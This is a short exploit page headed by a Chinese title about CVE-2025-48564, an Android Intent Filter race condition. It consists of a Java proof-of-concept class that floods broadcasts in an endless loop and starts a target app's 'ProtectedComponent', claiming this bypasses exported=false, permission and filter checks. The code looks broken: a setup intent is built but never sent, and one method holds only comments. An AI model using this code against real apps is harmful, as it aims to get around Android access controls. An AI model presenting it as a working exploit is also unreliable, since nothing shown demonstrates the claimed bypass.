CVE-2025-48564 Android Intent Filter竞态条件权限绕过漏洞

// CVE-2025-48564 PoC - Intent Filter Race Condition Bypass // This PoC demonstrates the race condition in Intent Filter handling public class IntentFilterBypassExploit { private static final String TARGET_ACTION = "com.android.vulnerable.TARGET_ACTION"; private static final String BYPASS_ACTION = "com.android.vulnerable.BYPASS_ACTION"; public void exploitRaceCondition() { // Step 1: Send initial intent to establish component state Intent setupIntent = new Intent(); setupIntent.setAction(TARGET_ACTION); setupIntent.setComponent(new ComponentName("com.target.app", "com.target.app.VulnerableComponent")); // Step 2: Rapidly send bypass intent during race window // The race condition allows bypassing Intent Filter validation new Thread(() -> { while (true) { Intent bypassIntent = new Intent(); bypassIntent.setAction(BYPASS_ACTION); // This may bypass permission checks due to race condition sendBroadcast(bypassIntent); try { Thread.sleep(1); // Tight timing loop } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); // Step 3: Trigger target component during race window Intent triggerIntent = new Intent(); triggerIntent.setComponent(new ComponentName("com.target.app", "com.target.app.ProtectedComponent")); startService(triggerIntent); } // The vulnerability exists in IntentResolver timing // See: android.googlesource.com/platform/packages/modules/IntentResolver/ public void demonstrateVulnerability() { // Race condition allows bypassing: // 1. exported=false check // 2. permission requirements // 3. Intent Filter matching } }